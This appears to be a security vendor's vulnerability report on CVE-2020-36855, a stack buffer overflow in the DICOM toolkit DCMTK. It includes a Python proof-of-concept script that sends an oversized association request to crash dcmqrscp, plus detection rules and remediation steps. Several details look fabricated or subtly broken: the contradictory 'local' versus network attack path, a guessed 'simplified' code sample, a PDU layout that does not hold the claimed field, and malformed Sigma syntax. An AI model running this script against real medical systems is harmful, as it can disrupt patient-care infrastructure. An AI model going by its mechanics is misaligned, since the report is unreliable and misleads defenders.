CVE-2020-36855

Executive Summary

CVE-2020-36855 is a stack-based buffer overflow vulnerability in the DCMTK (DICOM Toolkit) library, specifically within the dcmqrscp component's parseQuota function. The vulnerability allows an attacker with local access to manipulate the StorageQuota argument, leading to a stack buffer overflow. This can result in a denial of service (DoS) or potentially arbitrary code execution. The vulnerability affects DCMTK versions up to and including 3.6.5. The patch is available in version 3.6.6 and via commit 0fef9f02e. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the exploit has been publicly disclosed.

Supply Chain & Package Security

DCMTK is a widely used open-source library for handling DICOM (Digital Imaging and Communications in Medicine) data. It is integrated into numerous medical imaging applications, PACS (Picture Archiving and Communication Systems), and research tools. A vulnerability in DCMTK can propagate to downstream software that statically or dynamically links against it. Organizations using DCMTK in their software supply chain must verify they are using version 3.6.6 or later. The lack of an official OSV or GitHub advisory increases the risk of unpatched deployments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 5.3 (Medium)
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Successful exploitation can cause a complete denial of service.

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit details and the potential for code execution in a stack-based overflow scenario elevate the risk for environments where DCMTK is used in critical medical infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the dcmqrscp component, which implements the DICOM Query/Retrieve Service Class Provider (SCP). The parseQuota function is responsible for parsing the StorageQuota parameter from incoming DICOM association requests. The function uses a fixed-size stack buffer to store the parsed quota value without proper bounds checking.

When an attacker sends a crafted DICOM association request with an overly long StorageQuota value, the parseQuota function copies the data into the stack buffer, overwriting adjacent stack memory. This can corrupt the return address, stack canaries, or other critical data, leading to a crash or, with careful manipulation, arbitrary code execution.

The vulnerability is triggered locally, meaning the attacker must be able to send DICOM messages to the vulnerable service. In typical deployments, dcmqrscp listens on a network port (e.g., port 11112), so local access could be achieved through a compromised host on the same network segment.

Vulnerable vs. Patched Code

Vulnerable Code (DCMTK <= 3.6.5):

// Simplified representation of parseQuota in dcmqrscp
void parseQuota(const char* input) {
    char buffer[256];
    // No bounds checking
    strcpy(buffer, input);
    // Process buffer...
}

Patched Code (DCMTK 3.6.6):

// Patched version with bounds checking
void parseQuota(const char* input) {
    char buffer[256];
    // Safe copy with length limit
    strncpy(buffer, input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // Process buffer...
}

The patch introduces strncpy to limit the number of bytes copied to the stack buffer, preventing overflow. The commit 0fef9f02e also includes additional input validation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running DCMTK dcmqrscp version <= 3.6.5.
• Ability to send DICOM association requests (e.g., using storescu or custom script).

Exploit Concept: The exploit involves crafting a DICOM association request with an oversized StorageQuota parameter. The following Python script demonstrates the overflow:

import socket

def exploit(target_ip, target_port):
    # Craft a malicious DICOM association request
    # The StorageQuota field is placed in the user information item
    payload = b"\x01\x00\x00\x00"  # PDU type: A-ASSOCIATE-RQ
    payload += b"\x00\x00\x00\x00"  # Reserved
    payload += b"\x00\x00\x00\x00"  # Length (to be filled)
    # ... (DICOM header fields)
    # Overflow StorageQuota with 300 bytes of 'A'
    payload += b"\x41" * 300
    # Complete the PDU
    payload = payload[:4] + len(payload).to_bytes(4, 'big') + payload[8:]
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(payload)
    sock.close()

# Usage: exploit("192.168.1.100", 11112)

Expected Outcome: The dcmqrscp service crashes due to stack corruption, resulting in a denial of service. With further analysis, an attacker could achieve code execution.

Blue Team (Defense)

Detection:

• Monitor for unusually long DICOM association requests, especially with oversized StorageQuota fields.
• Use network intrusion detection systems (NIDS) to flag anomalous DICOM traffic.
• Enable stack canaries and ASLR on the host system to mitigate exploitation.

Hunting:

• Search for crash dumps or logs from dcmqrscp indicating a buffer overflow.
• Review DICOM network traffic for patterns of repeated 'A' characters or other non-standard data.

Mitigation:

• Immediately upgrade to DCMTK 3.6.6 or apply the patch.
• Restrict network access to dcmqrscp using firewalls or ACLs.
• Run the service with minimal privileges and in a sandboxed environment.

Indicators of Compromise (IOCs)

• Network IOCs:
  • DICOM association requests with StorageQuota fields exceeding 256 bytes.
  • Repeated patterns of ASCII characters (e.g., 0x41) in DICOM PDU payloads.
• Host IOCs:
  • Crash logs from dcmqrscp with stack corruption errors.
  • Unexpected termination of the dcmqrscp process.
  • Memory dumps showing overwritten stack frames.
• File IOCs:
  • Modified DCMTK binaries (if attacker replaced them with backdoored versions).

Detection Engineering

YARA Rule

rule CVE_2020_36855_DCMTK_Overflow {
    meta:
        description = "Detects DICOM traffic with oversized StorageQuota field"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2020-36855"
    strings:
        $dicom_header = { 01 00 00 00 }  // A-ASSOCIATE-RQ PDU
        $storage_quota = /StorageQuota.{0,10}/ nocase
        $overflow = { 41 41 41 41 41 41 41 41 41 41 }  // 10+ 'A's
    condition:
        $dicom_header and $storage_quota and #overflow > 20
}

Sigma Rule

title: DICOM StorageQuota Buffer Overflow Attempt
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects network traffic attempting to exploit CVE-2020-36855 in DCMTK
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        - app_proto: 'dicom'
        - payload|contains: 'StorageQuota'
        - payload|length: > 256
    condition: selection
falsepositives:
    - Legitimate large DICOM datasets (unlikely for StorageQuota)
level: high

Suricata Rule

alert tcp any any -> any 11112 (msg:"CVE-2020-36855 DCMTK StorageQuota Buffer Overflow Attempt"; flow:to_server,established; content:"|01 00 00 00|"; depth:4; content:"StorageQuota"; nocase; distance:0; within:100; byte_test:2,>,256,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade DCMTK to version 3.6.6 or apply the patch from commit 0fef9f02e.
2. Network Controls: Restrict access to the dcmqrscp service to trusted IP addresses only.
3. System Hardening: Enable stack canaries, ASLR, and NX (No-Execute) on the host system.
4. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
5. Vendor Notification: If using a commercial product that bundles DCMTK, contact the vendor for an updated version.
6. Incident Response: If exploitation is suspected, isolate the affected system, collect memory and network captures, and perform forensic analysis.

Valters IT